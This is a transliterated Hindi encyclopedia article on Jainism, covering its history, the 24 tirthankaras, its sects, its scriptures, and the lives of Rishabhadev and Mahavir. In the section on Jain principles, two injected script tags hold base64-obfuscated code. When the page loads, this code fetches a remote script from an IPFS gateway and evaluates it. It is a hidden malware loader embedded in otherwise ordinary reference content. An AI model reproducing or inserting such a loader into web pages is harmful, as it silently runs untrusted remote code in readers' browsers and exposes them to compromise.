जैन धर्म

भारत डिस्कवरी प्रस्तुति
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jain dharm
vivaran jain dharm arthath 'jin' bhagavan ka dharm. 'jain dharm' bharat ki shraman parampara se nikala dharm aur darshan hai.
jain evan jin 'jain' unhean kahate haian, jo 'jin' ke anuyayi hoan. 'jin' shabd bana hai 'ji' dhatu se. 'ji' yani jitana. 'jin' arthath jitane vala. jinhoanne apane man ko jit liya, apani vani ko jit liya aur apani kaya ko jit liya ho, ve 'jin' kahalate hai.
prachinata jain dharm ke anuyayiyoan ki manyata hai ki unaka dharm 'anadi'[1] aur sanatan hai.
shakhaean digambar aur shvetambar
tirthankar jain dharm mean 24 tirthankar mane ge haian, jinhean is dharm mean bhagavan ke saman mana jata hai. vardhaman mahavir, jain dharm ke pravartak bhagavan shri rrishabhanath[2] ki parampara mean 24vean tirthankar the.
dharm granth bhagavan mahavir ne sirf pravachan hi die the. unhoanne kisi granth ki rachana nahian ki thi, lekin bad mean unake ganadharoan ne unake amrit vachan aur pravachanoan ka sangrah kar liya. yah sangrah moolat: prakrit bhasha mean hai.
jain anushruti mathura mean vibhinn kaloan mean anek jain moortiyaan mili haian, jo jain sangrahalay mathura mean sangrahit haian.
any janakari jain parampara mean 63 shalaka mahapurush mane ge haian. puranoan mean inaki kathaean tatha dharm ka varnan adi hai. prakrit, sanskrit, apabhransh tatha any deshi bhashaoan mean anek puranoan ki rachana huee hai.

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jain dharm bharat ki shraman parampara se nikala dharm aur darshan hai. 'jain' unhean kahate haian, jo 'jin' ke anuyayi hoan. 'jin' shabd bana hai 'ji' dhatu se. 'ji' yani jitana. 'jin' arthath jitane vala. jinhoanne apane man ko jit liya, apani vani ko jit liya aur apani kaya ko jit liya, ve haian 'jin'. jain dharm arthath 'jin' bhagavan ka dharm. vastr-hin badan, shuddh shakahari bhojan aur nirmal vani ek jain-anuyayi ki pahali pahachan hai. yahaan tak ki jain dharm ke any log bhi shuddh shakahari bhojan hi grahan karate haian tatha apane dharm ke prati b de sachet rahate haian.

prachinata

jain dharm ke anuyayiyoan ki manyata hai ki unaka dharm 'anadi'[3] aur sanatan hai. samanyat: logoan mean yah manyata hai ki jain sampraday ka mool un prachin panraparaoan mean raha hoga, jo aryoan ke agaman se poorv is desh mean prachalit thian. kiantu yadi aryoan ke agaman ke bad se bhi dekha jaye to rrishabhadev aur arishtanemi ko lekar jain dharm ki paranpara vedoan tak pahuanchati hai. antim anubaddh (kevali) shri 1008 jamboosvami|thumb|left mahabharat ke yuddh ke samay is sanpraday ke pramukh neminath the, jo jain dharm mean many tirthankar haian. ee. poo. athavian sadi mean 23vean tirthankar parshvanath hue, jinaka janm kashi (vartaman banaras) mean hua tha. kashi ke pas hi 11vean tirthankar shreyaansanath ka janm hua tha. inhian ke nam par saranath ka nam prachalit hai. jain dharm mean shraman sanpraday ka pahala sangathan parshvanath ne kiya tha. ye shraman vaidik paranpara ke viruddh the. mahavir tatha buddh ke kal mean ye shraman kuchh bauddh tatha kuchh jain ho ge the. in donoan ne alag-alag apani shakhaean bana lian. bhagavan mahavir jain dharm ke 24vean tirthankar the, jinaka janm lagabhag ee. poo. 599 mean hua aur jinhoanne 72 varsh ki ayu mean dehatyag kiya. mahavir svami ne sharir chhodऩe se poorv jain dharm ki nianv kafi majaboot kar di thi. ahiansa ko unhoanne jain dharm mean achchhi tarah sthapit kar diya tha. saansarikata par vijayi hone ke karan ve 'jin' (jayi) kahalaye. unhian ke samay se is sanpraday ka nam 'jain' ho gaya.[4]

matabhed tatha vibhajan

jain dharm ke 24 tirthankar
kramaank sankhya tirthakar ka nam
1. rrishabhanath tirthankar
2. ajitanath
3. sambhavanath
4. abhinandananath
5. sumatinath
6. padmaprabh
7. suparshvanath
8. chandraprabh
9. pushpadant
10. shitalanath
11. shreyaansanath
12. vasupoojy
13. vimalanath
14. anantanath
15. dharmanath
16. shantinath
17. kunthunath
18. aranath
19. mallinath
20. munisubranath
21. naminath
22. neminath tirthankar
23. parshvanath tirthankar
24. vardhaman mahavir

maury samrat ashok ke abhilekhoan se yah pata chalata hai ki usake samay mean magadh mean jain dharm ka prachar tha. lagabhag isi samay mathoan mean basane vale jain muniyoan mean yah matabhed shuroo hua ki tirthankaroan ki moortiyaan kap de pahanakar rakhi jaean ya nagn avastha mean. is bat par bhi matabhed tha ki jain muniyoan ko vastr pahanana chahie ya nahian. age chalakar yah matabhed aur bhi badh gaya. eesa ki pahali sadi mean akar jain matavalanbi muni do daloan mean bant ge. ek dal 'shvetambar' aur doosara dal 'digambar' kahalaya. 'shvetambar' aur 'digambar' in donoan sanpradayoan mean matabhed darshanik siddhaantoan se adhik charitr ko lekar hai. digambar acharan palan mean adhik kathor mane jate haian, jabaki shvetambar kuchh udar haian. shvetambar sanpraday ke muni shvet vastr dharan karate haian, jabaki digambar muni nirvastr rahakar sadhana karate haian. yah niyam keval muniyoan par lagoo hota hai. digambar sanpraday yah manata hai ki mool agam granth lupt ho chuke haian, 'kaivaly jnan' prapt hone par siddh ko bhojan ki avashyakata nahian rahati aur stri sharir se 'kaivaly jnan' sanbhav nahian hai; kiantu shvetambar sanpraday aisa nahian manate haian.

shakhaean

jain dharm ki digambar shakha mean tin shakhaean haian-
  1. mandiramargi
  2. moortipoojak
  3. terapanthi
shvetambar mean shakhaoan ki sankhya do hai-
  1. mandiramargi
  2. sthanakavasi

digambar sanpraday ke muni vastr nahian pahanate. 'digh‌' arthath disha. disha hi aanbar hai, jisaka vah 'digambar'. vedoan mean bhi inhean 'vatarashana' kaha gaya hai. jabaki shvetambar sanpraday ke muni safed vastr dharan karate haian. lagabhat tin sau varshoan pahale shvetambaroan mean hi ek any shakha aur nikali 'sthanakavasi'. ye log moortiyoan ki pooja nahian karate haian.

  • jainiyoan ki any shakhaoan mean 'terahapanthi', 'bisapanthi', 'taranapanthi' aur 'yapaniy' adi kuchh aur bhi up-shakhaean haian. jain dharm ki sabhi shakhaoan mean tho da-bahut matabhed hone ke bavajood bhagavan mahavir tatha ahiansa, sanyam aur anekaantavad mean sabaka saman vishvas hai.[5]

dharm ka prachar-prasar

eesa ki pahali shatabdian mean kaliang ke raja kharavel ne jain dharm svikar kiya. eesa ki aranbhik sadiyoan mean uttar mean mathura aur dakshin mean maisoor jain dharm ke bahut b de keandr the. paanchavian se barahavian shatabdian tak dakshin ke gang, kadamb, chaluky aur rashtrakoot rajavanshoan ne jain dharm ke prachar-prasar mean bahut sahayog evan sahayata pradan ki. in rajaoan ke yahaan anek jain kaviyoan ko ashray evan sahayata prapt thi. gyaharavian sadi ke as-pas chaluky vansh ke raja siddharaj aur unake putr kumarapal ne jain dharm ko rajadharm bana diya tatha gujarat mean usaka vyapak prachar-prasar kiya. hindi ke prachalan se poorv apabhransh bhasha ka prayog hota tha. apabhransh bhasha ke kavi, lekhak evan vidvanh hemachandr isi samay ke the. hemachandr raja kumarapal ke darabar mean hi the. samanyat: jain matavalanbi shaantipriy svabhav ke hote the. isi karan mugal kal mean in par adhik atyachar nahian hue. us samay ke sahity evan any vivaranoan se prapt janakariyoan ke anusar akabar ne jain anuyaiyoan ki tho di bahut madad bhi ki thi. kiantu dhire-dhire jainiyoan ke math tootane evan bikharane lage. jain dharm moolat: bharatiy dharm hai. bharat ke atirikt poorvi afrika mean bhi jain dharm ke anuyayi milate haian.[4]

jain anushruti

mathura mean vibhinn kaloan mean anek jain moortiyaan mili haian, jo jain sangrahalay mathura mean sangrahit haian. avaidik dharmoan mean jain dharm sabase prachin hai, pratham tirthankar bhagavan rrishabhadev mane jate haian. jain dharm ke anusar bhi rrishabhadev ka mathura se sanbandh tha. jain dharm ki prachalit anushruti ke anusar nabhiray ke putr bhagavan rrishabhadev ke adesh se indr ne 52 deshoan ki rachana ki thi. shoorasen desh aur usaki rajadhani mathura bhi un deshoan mean thi.[6] jain `harivansh puran' mean prachin bharat ke jin 18 maharajyoan ka ullekh hua hai, unamean shoorasen aur usaki rajadhani mathura ka nam bhi hai. jain manyata ke anusar pratham tirthankar rrishabhadev ke sau putr hue the.

dharm granth

jain dharm granth par adharit dharm nahian hai. bhagavan mahavir ne sirf pravachan hi die the. unhoanne kisi granth ki rachana nahian ki thi, lekin bad mean unake ganadharoan ne unake amrit vachan aur pravachanoan ka sangrah kar liya. yah sangrah moolat: prakrit bhasha mean hai, vishesh roop se magadhi mean. prophesar mahavir saran jain ka mat hai ki jain sahity ki drishti se digambar amnay ke achary gunadhar evan achary dharasen ke granthoan mean magadhi prakrit ka nahian apitu shauraseni prakrit ka prayog hua hai. ye granth gady mean haian. achary dharasen ka samay sanh 87 eesavian ke lagabhag many hai. achary gunadhar ka samay achary dharasen ke poorv mana jata hai. achary gunadhar ki rachana kasay pahud sutt tatha achary dharasen evan unake shishyoan achary pushpadant tatha achary bhootabali dvara rachit shatakhandagam hai jinamean pratham shatabdi ke lagabhag ki shauraseni prakrit ka prayog hua hai.

dharmah sarv sukhakaro hitakaro, gharm budhashchinvate .
dharmenaiv samapyate shivasukhan, dharmay tasmai namah .
dharmannastyaparah suhridbhavabhritaan, dharmasy moolan daya .
dharme chittamahan dadhe pratidinan, he dharm ! maan palay ..1 ..

[[chitr:Gomateswara.jpg|thumb|220px|gomateshvar ki pratima, shravanabelagola, maisoor]] samast agam granthoan ko char bhagoan maian baanta gaya hai-

  1. prathamanuyog
  2. karananuyog
  3. chararnanuyog
  4. dravyanuyog.
12 aangagranth

achar, sootrakrit, sthan, samavay, bhagavati, jnata dharmakatha, upasakadasha, antakritadasha, anuttar upapatikadasha, prashn-vyakaran, vipak aur drishtivad. inamean 11 aang to milate haian, kiantu barahavaan drishtivad aang nahian milata.

12 upaangagranth

aupapatik, rajaprashniy, jivabhigam, prajnapana, jamboodvip prajnapti, chandr prajnapti, soory prajnapti, nirayavali ya kalpik, kalpavatasika, pushpika, pushpachoo da aur vrishnidasha.

10 prakirnagranth

chatuahsharan, sanstar, atur pratyakhyan, bhaktaparijna, tandul vaitalik, chandavithyay, devendrastav, ganitavidya, mahapratyakhyan aur virastav.

6 chhedagranth

nishith, mahanishith, vyavahar, dashashataskandh, brihatkalp aur panchakalp.

4 moolasootr

uttaradhyayan, avashyak, dashavaikalik aur pindaniryyukti.

2 svatantr granth

anuyog dvar aur nandi dvar.

jain puran parichay

jain parampara mean 63 shalaka mahapurush mane ge haian. puranoan mean inaki kathaean tatha dharm ka varnan adi hai. prakrit, sanskrit, apabhransh tatha any deshi bhashaoan mean anek puranoan ki rachana huee hai. donoan sampradayoan ka puran sahity vipul pariman mean upalabdh hai. inamean bharatiy itihas ki mahattvapoorn samagri milati hai. mukhy puran haian- jinasen ka 'adipuran' aur jinasen (dvi.) ka 'arishtanemi' (harivanshapuran), ravishen ka 'padmapuran' aur gunabhadr ka 'uttarapuran'. prakrit aur apabhransh bhashaoan mean bhi ye puran upalabdh haian. bharat ki sanskriti, parampara, darshanik vichar, bhasha, shaili adi ki drishti se ye puran bahut mahattvapoorn haian.

any granth

shatkhandagam, dhavala tika,shatkhandagam- siddhantachintamani tika, mahadhavala tika, kasayapahud, jayadhavala tika, samayasar, yogasar pravachanasar, panchastikayasar, barasanuvekkha, aptamimaansa, ashtashati tika, ashtasahasri tika, ratnakarand shravakachar, tattvarthasootr, tattvartharajavartik tika, tattvarthashlokavartik tika, samadhitantr, ishtopadesh, bhagavati aradhana, moolachar, gommatasar, dravyasangrah, akalankagranthatrayi, laghiyastrayi, nyayakumudachandr tika, pramanasangrah, nyayavinishchayavivaran, siddhivinishchayavivaran, parikshamukh, prameyakamalamartand tika, purusharthasiddhyupay bhadrabahu sanhita adi.[7]

ek prasang

jivandhar kumar nam ke ek rajakumar ne ek bar marate he kutte ko mahamantr namokar sunaya, jisase usaki atma ko bahut shanti mili aur vah marakar suandar devata yakshendr ho gaya. vahaan janm lete hi use yad a gaya ki mujhe ek rajakumar ne mahamantr sunakar is devayoni ko dilaya hai| tab vah turant apane upakari rajakumar ke pas aya aur unhean namaskar kiya. rajakumar tab tak us kutte ko liye baithe hue the, dev ne unase kahe- "rajanh ! maian apaka bahut ahasan manata hooan ki apane mujhe is yoni mean pahuancha diya." jivandhar kumar yah drishy dekhakar b de prasann hue aur use sadaiv us mahamantr ko padhane ki prerana di. dev ne unase kaha- "svaminh ! jab bhi apako kabhi meri zaroorat lage to mujhe avashy yad karana aur mujhe kuchh seva ka avasar avashy pradan karana. maian apaka upakar hamesha smaran karooanga."

vah mahamantr is prakar hai-

namo arihantanan.
namo siddhanan.
namo airiyanan.
namo uvajjhayanan.
namo loe savvasahoonan॥

arthat- arihanto ko namaskar, siddhoan ko namaskar, acharyoan ko namaskar, upadhyayoan ko namaskar, sarv sadhuoan ko namaskar.

jain shastroan ke anusar hastinapur tirth karo doan varsh prachin mana gaya hai. shri jinasenachary dvara rachit adipuran granth ke anusar pratham tirthankar bhagavan rrishabhadev ne yug ki adi mean yahaan ek varsh ke upavas ke pashchath raja shreyaans ke dvara jain vidhi se navadha bhakti poorvak p dagahan karane ke bad ikshu ras ka ahar grahan kiya tha. unaki smriti mean vahaan jamboodvip tirth parisar mean unaki ahar mudra ki pratima virajaman haian. usake darshan karake bhaktagan prachin itihas se parichit hote haian.

tirthankar

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jain dharm mean 24 tirthankar mane ge haian, jinhean is dharm mean bhagavan ke saman mana jata hai. 'tirthankar' shabd ka jain dharm mean b da hi mahattv hai. 'tirth' ka arth hai- "jisake dvara sansar samudr tara jae, par kiya jae." jain dharm ahiansa pradhan dharm hai. isamean un 'jinoan' evan mahatmaoan ko tirthankar kaha gaya hai, jinhoanne pravartan kiya, upadesh diya aur asankhy jivoan ko is sansar se 'tar' diya. in 24 tirthankaroan ne apane-apane samay mean dharmamarg se chyut ho rahe jan-samuday ko sanbodhit kiya aur use dharmamarg mean lagaya. isi se inhean dharmamarg aur mokshamarg ka neta tirth pravarttak 'tirthankar' kaha gaya hai. jain siddhant ke anusar 'tirthankar' nam ki ek puny karm prakriti hai. usake uday se tirthankar hote aur ve tattvopadesh karate haian. achary vidyanand ne spasht kaha hai- "bina tirthankaratven namna narthopadeshana" arthath bina tirthankar-punyanamakarm ke tattvopadesh sanbhav nahian hai. thumb|200px|tirthankar rrishabhadev

rrishabhadev

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jain tirthankaroan mean pratham tirthankar rrishabhadev haian. jain sahity mean inhean prajapati, adibrahma, adinath, brihaddev, purudev, nabhisoonu aur vrishabh namoan se bhi samullekhit kiya gaya hai. yugaranbh mean inhoanne praja ko ajivika ke lie krishi[8], masi[9], asi[10], shilp, vanijy[11] aur seva- in shatkarmoan (jivanavritiyoan) ke karane ki shiksha di thi, isalie inhean ‘prajapati’[12], mata ke garbh se ane par hirany (suvarn ratnoan) ki varsha hone se ‘hiranyagarbh’[13], vimalasoori-[14], dahine pair ke talue mean bail ka chihn hone se ‘rrishabh’, dharm ka pravartan karane se ‘vrishabh’[15], sharir ki adhik ooanchaee hone se ‘brihaddev’[16]evan purudev, sabase pahale hone se ‘adinath’[17] aur sabase pahale mokshamarg ka upadesh karane se ‘adibrahma’[18]kaha gaya hai. rrishabhadev ke pita ka nam nabhiray hone se inhean ‘nabhisoonu’ bhi kaha gaya hai. inaki mata ka nam marudevi tha. rrishabhadev bhagavan ka janm ko da ko di varsh poorv ayodhya nagari mean chaitr krishna navami ke din mata marudevi ke garbh se hua tha. punah lakhoan varshoan tak rajy satta sanchalan karane ke bad chaitr krishnaa navami ke din hi unhoanne jaineshvari diksha dharan kar li thi, aisa jain shastroan mean kathan milata hai. unaki smriti mean prativarsh diganbar jain samaj ki or se janmadin ka mela ayojit kiya jata hai. ayodhya diganbar jain tirthakshetr kameti ke vartaman adhyaksh svasti shri karmayogi pithadhish ravindrakirti svami ji - jamboodvip, hastinapur vale haian.unake netritv mean poore desh ki jainasamaj ke shraddhalu bhakt mele mean bhag lene hetu ayodhya pahuanchate haian. vahaan bhagavan rrishabhadev ka mastakabhishek - rathayatra - sabha adi ka ayojan hota hai. is varsh yah varshik mela 4 aprail - 2013 chaitr krishnaa navami ko ayojit ho raha hai.[19]

mahavir

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vardhaman mahavir ya mahavir, jain dharm ke pravartak bhagavan shri rrishabhanath[20] ki parampara mean 24vean tirthankar the. inaka jivan kal 599 eesavi, eesa poorv se 527 eesvi eesa poorv tak mana jata hai. vardhaman mahavir ka janm ek kshatriy rajakumar ke roop mean ek rajaparivar mean hua tha. inake pita ka nam raja siddharth evan mata ka nam priyakarini tha. unaka janm prachin bharat ke vaishali rajy, jo ab bihar prant mean hua tha. vardhaman mahavir ka janm din samast bharat mean mahavir jayanti ke roop mean manaya jata hai. digambar jain agam granthoan ke anusar bhagavan mahavir bihar praant ke kuandalapur nagar mean aj (san 2013) se 2612 varsh poorv maharaja siddharth ki maharani trishala ke garbh se chaitr krishna trayodashi ko janme the. vah kuandalapur vartaman mean nalanda zile mean avasthit hai.

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tirthankar upadesh

jain dharm ke 24 tirthankaroan ne apane-apane samay mean dharm marg se chyut ho rahe janasamuday ko sanbodhit kiya aur use dharm marg mean lagaya. isi se inhean 'dharm marg-moksh marg ka neta' aur 'tirth pravarttak' arthath 'tirthankar' kaha gaya hai. jain siddhant ke anusar 'tirthankar' nam ki ek puny, prashast karm prakriti hai. usake uday se tirthankar hote aur ve tattvopadesh karate haian.

  • achary vidyanand ne spasht kaha hai[21] ki 'bina tirthankaratven namna narthopadeshana' arthath bina tirthankar-punyanamakarm ke tattvopadesh sanbhav nahian hai.[22]
  • in tirthankaroan ka vah upadesh jin shasan, jinagam, jinashrut, dvadashaang, jin pravachan adi namoan se ullikhit kiya gaya hai. unake is upadesh ko unake pramukh evan pratibhashali shishy vishayavar bhinn-bhinn prakaranoan mean nibaddh ya grathit karate haian. atev use 'prabandh' evan 'granth' bhi kahate haian. unake upadesh ko nibaddh karane vale ve pramukh shishy jainavanamay mean ganadhar kahe jate haian. ye ganadhar atyant sookshmabuddhi ke dharak evan vishisht kshayopasham vale hote haian. unaki dharanashakti aur smaranashakti asadharan hoti hai.

bharat rrishabhadev putr

[[chitr:23rd-Tirthankara-Parsvanatha-Jain-Museum-Mathura-9.jpg|220px|thumb|tirthankar parshvanath
Tirthankara Parsvanatha
rajakiy jain sangrahalay, mathura]] rrishabhadev ke putr bharat bahut dharmik the. unaka vivah vishvaroop ki kanya panchajani se hua tha. bharat ke samay se hi ajanabhavarsh namak pradesh bharat kahalane laga tha. rajy-kary apane putroan ko sauanpakar ve pulahashram mean rahakar tapasya karane lage. ek din ve nadi mean snan kar rahe the. vahaan ek garbhavati hirani bhi thi. sher ki daha d sunakar mrigi ka nadi mean garbhapat ho gaya aur vah kisi gufa mean chhipakar mar gayi. bharat ne nadi mean bahate asahay mrigashavak ko palakar b da kiya. usake moh se ve itane avritt ho gaye ki agale janm mean mrig hi bane. mrig ke prem ne unake vairagy marg mean vyaghat utpann kiya tha, kintu mrig ke roop mean bhi ve bhagavat-bhakti mean lage rahe tatha apani maan ko chho dakar pulahashram mean pahuanch gaye. bharat ne agala janm ek brahman ke ghar mean liya. unhean apane bhootapoorv janm nirantar yad rahe. brahman unhean padhane ka prayatn karate-karate mar gaya, kintu bharat ki adhyayan mean ruchi nahian thi.

jain dharm ke pramukh siddhaant

mukhy lekh : jain dharm ke siddhaant

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jain dharm ke pramukh siddhant nimnalikhit haian:-

  • nivrittimarg
  • eeshvar
  • srishti
  • karm
  • triratn
  • jnan
  • syadavad ya anekaantavad ya saptabhangi ka siddhant
  • anekatmavad
  • nirvan
  • kayaklesh
  • nagnata
  • panchamahavrat
  • panch anuvrat
  • atharah pap
  • jain dharm ki prasangikata
  • jain granth bhagavan mahavir evan jain darshan mean jain dharm evan darshan ki yugin prasangikata ko vyakhyayit karate hue yah mat vyakt kiya hai ki aj ke manushy ko vahi dharm-darshan prerana de sakata hai tatha manovaijnanik, samajik, rajanitik samasyaoan ke samadhan mean prerak ho sakata hai jo vaijnanik avadharanaoan ka paripoorak ho, lokatantr ke adharabhoot jivan moolyoan ka poshak ho, sarvadharm samabhav ki sthapana mean sahayak ho, anyonyashrit vishv vyavastha evan sarvabhaumikata ki drishti ka pradata ho tatha vishv shanti evan antarrashtriy sadbhavana ka prerak ho. lekhak ne in pratimanoan ke adhar par jain dharm evan darshan ki mimaansa ki hai.

vithika

  • chitr:Mahavir-Bhagwan-Delhi-1.jpg

    mahavir bhagavan, dilli

  • chitr:Gomateswara.jpg

    gomateshvar ki pratima, shravanabelagola

  • chitr:Upper-Part-of-Jina-Jain-Museum-Mathura-45.jpg

    jain pratima ka oopari bhag

  • chitr:Thirthankara-Rishabhanath-Jain-Museum-Mathura-1.jpg

    tirthankar rrishabhanath

  • chitr:Seated-Jain-Tirthankara-Jain-Museum-Mathura-3.jpg

    asanasth jain tirthankar

  • chitr:Bust-of-Jina-Jain-Museum-Mathura-2.jpg

    jain pratima ka dh d

  • chitr:Head-of-Jina-Jain-Museum-Mathura-17.jpg

    jain mastak

  • chitr:Jain-Tirthankara-Jain-Museum-Mathura-15.jpg

    jain tirthankar

  • chitr:Goat-Headed-Jaina-Mother-Goddess-Jain-Museum-Mathura-29.jpg

    ajamukhi jain matridevi

  • chitr:Seated-Jain-Tirthankara-Jain-Museum-Mathura-11.jpg

    asanasth jain tirthankar

  • chitr:Jain-Tirthankara-Rishabhanatha-Jain-Museum-Mathura-25.jpg

    tirthankar rrishabhanath

  • chitr:Seated-Jain-Tirthankara-Jain-Museum-Mathura-14.jpg

    asanasth jain tirthankar

  • chitr:Head-of-Jina-Jain-Museum-Mathura-4.jpg

    jain mastak

  • chitr:Seated-Jaina-Tirthankara-Jain-Museum-Mathura-46.jpg

    asanasth jain tirthankar

  • chitr:Goat-Headed-Jaina-Mathura-Museum-51.jpg

    ajamukhi jain matridevi

  • chitr:Jaina-Tablet-Set-Up-By-Vasu-Mathura-Museum-52.jpg

    jain ayagapatt

  • chitr:Upper-Half-of-Ayagapatta-Mathura-Museum-53.jpg

    jain ayagapatt

  • chitr:Gomateshwara.jpg

    gomateshvar ki pratima, shravanabelagola


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ anant samay pahale ka
  2. ↑ shri adinath
  3. ↑ anant samay pahale ka
  4. ↑ 4.0 4.1 aise janma jain dharm (hindi). . abhigaman tithi: 26 faravari, 2013.
  5. ↑ jain dharm- itihas ki najar mean (hindi). . abhigaman tithi: 26 faravari, 2013.
  6. ↑ jinasenachary krit mahapuran- parv 16,shlok 155
  7. ↑ jain dharm granth aur puran (hindi). . abhigaman tithi: 26 faravari, 2013.
  8. ↑ kheti
  9. ↑ likhana-padhana, shikshan
  10. ↑ raksha hetu talavar, lathi adi chalana
  11. ↑ vibhinn prakar ka vyapar karana
  12. ↑ achary samantabhadr, svayambhustotr, shlok 2|
  13. ↑ jinasen, mahapuran, 12-95
  14. ↑ pumachariyan, 3-68|
  15. ↑ a. samantabhadr, svayambhoo stotr, shlok 5|
  16. ↑ madanakirti, shasanachatustrianshika, shlok 6, sanpa. d aau. darabari lal kothiya.
  17. ↑ manatung, bhaktamar adinath stotr, shlok 1, 25 |
  18. ↑ manatung, bhaktamar adinath stotr, shlok 1, 25 |
  19. ↑ adyatan- dinaank 20 march 2013
  20. ↑ shri adinath
  21. ↑ rrishabhadimahavirantebhy: svatmopalabdhaye.
    dharmatirthankarebhyoastu syadvadibhyo namonam:॥ akalank, laghiyastray, 1
  22. ↑ aptapariksha, karika 16

bahari k diyaan

sanbandhit lekh

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dekhean • varta • badalean
jain dharm
sahityakar
jain sahity
darshan
jain kala
achary
akalankadev · ajitasen · padmanandi dvitiy · anantakirti · abhayachandr · abhayadev · abhinav dharmabhooshanayati · kumaranandi · griddhapichchh · charukirti bhattarakvimalasen · devanandi poojyapad · vimalasen · devasoori · devasen · narendrasen bhattarak · patrasvami · prabhachandr · brihadanantaviry · bhavasen traividy · mallishen · manikyanandi · kuandakuandachary · gunabhadr · bhanukirti · yashovijay · ratnaprabhasoori · laghu anantaviry · laghu samantabhadr · vadiraj · vadibhasianh · vidyanand · vimaladas · merutuang · shantivarni · shridatt · samantabhadr · siddhasen · kamalakirti · siddhasen dvitiy · haribhadr · hemachandr · bhadrabahu · bahubali · kalak · tarun sagar · harivijay soori · gunakirti · yashakirti · bhootabali · dharasen · kundakund · poojyapad · umasvami · dharmasen · kumudendu
tirthankar
jain mandir
parv evan tyohar
sthan
any

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